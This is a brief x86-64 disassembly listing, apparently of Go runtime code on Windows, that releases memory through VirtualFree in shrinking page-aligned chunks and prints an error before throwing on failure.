mov rbx, qword [rsp + 0x60]
jmp 0x417c41
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x417c65
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x417c79
cmp rbx, 0x1000
jae 0x417c38
nop
jmp 0x417ce9
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop
cmp rbx, 0x1000
jae 0x417c8d
xor edx, edx
jmp 0x417ce0
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00432580
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
nop
test dl, dl
jne 0x417c6f
jmp 0x417c55
call fcn.00464ce0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00437740
lea rax, [0x006a0f33]
mov ebx, 0x18
nop dword [rax + rax]
call fcn.00438040
mov rax, qword [rsp + 0x38]
call fcn.00437d40
lea rax, [0x006a1023]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00438040
mov rax, qword [rsp + 0x30]
call fcn.00437d40
call fcn.004379a0
call fcn.004377c0
lea rax, [0x006a4de7]
mov ebx, 0x21
call fcn.00435fc0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00461140
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00417bc0